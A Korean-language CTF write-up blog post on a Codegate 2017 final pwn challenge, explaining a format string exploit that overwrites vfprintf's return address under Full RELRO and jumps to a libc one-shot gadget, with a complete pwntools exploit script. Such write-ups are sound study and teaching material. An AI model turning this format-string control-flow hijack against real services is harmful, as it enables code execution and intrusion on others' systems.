codegate 첫번째 문제였다.
main함수에서 ShowData란 함수를 호출하는데
ShowData함수는 내가 원하는 한바이트를 출력시킬수 있게 해준다. + main에서 ShowData함수를 호출하기전에 Stack의 주소를 알려준다.
소스코드를 보면 format과 args에 값을 넣을 수 있고 포맷스트링 버그 취약점을 발생시킨다
처음에 당연히 got값을 덮을라고 했지만.
FULL relro이기 때문에 got값을 덮을수 없다.
때문에 스택을 이용해서 공격을 해야한다.
printf 내부를 보면 vfprintf함수가 존재한다.
그리고 vfpirntf함수 안에서 %n이 출력이 된다.
그러므로 vfprintf의 ret 주소를 구해서 %n을 이용해 eip를 컨트롤 하였다.
eip가 컨트롤 되는 것을 확인할수 있다.
printf의 ret값이아니라 vprintf의 ret값을 바꾸는 이유는 vprintf의 ret값에는 printf의 주소가 있기 때문에 릭을 하지 않아도 libc를 이용할수 있다.
이를 이용해서 one_shot gadget을 통해서 exploit하였다.
one shot 가젯을 이용하려면 esp+0x50이 NULL이여야되기때문에
첫번째 printf에다가 NULL로 만들어주고
두번째 printf를 통해서 eip를 돌렸다.
Showdata의 한바이트 만으로는 aslr을 완벽히 우회가 불가능하여 16분의1확률로 성공이된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | # !/usr/bin/env python # powerprove from pwn import * s = remote("localhost", 8000) raw_input("[*] codegate final_2017 ") def leak(): s.recvuntil("is ") stack = int(s.recv(15), 16) s.recvuntil("-->") s.sendline(str(stack + 0x1a)) s.recvuntil("is ") aslr = int(s.recv(2), 16) return stack, aslr def fsb_input(Format, arg): s.recvuntil("-->") s.sendline(Format) s.recvuntil("-->") s.sendline(arg) if __name__ == "__main__": stack, aslr = leak() aslr = aslr - 2 + 0xf one_shot = str(hex(aslr)) + "111700" one_shot = int(one_shot, 16) log.info("stack : " + hex(stack)) log.info("aslr : " + hex(aslr) ) log.info("exploit : " + hex(one_shot)) fsb_input("%n", str(stack+0x68 - 0xd8)) for i in range(0, 14): fsb_input("%"+str(one_shot)+"c"+"%1$n",str(stack-0xe9)) s.interactive() | cs |
이 문제의 핵심은 printf 내부에서 ret를 컨트롤 하는 것인것 같다.
대회때 못푼게 아쉽다...ㅎ
'CTF > 2017' 카테고리의 다른 글
[google ctf 2017] Inst Prof write up (0) | 2017.06.29 |
---|---|
[codegate 2017 final] owner (0) | 2017.06.26 |
허스트 CTF pwn write up (0) | 2017.05.31 |
DEFCON_2017 beatmeonthedl (0) | 2017.05.07 |
DEFCON - smashme (0) | 2017.05.07 |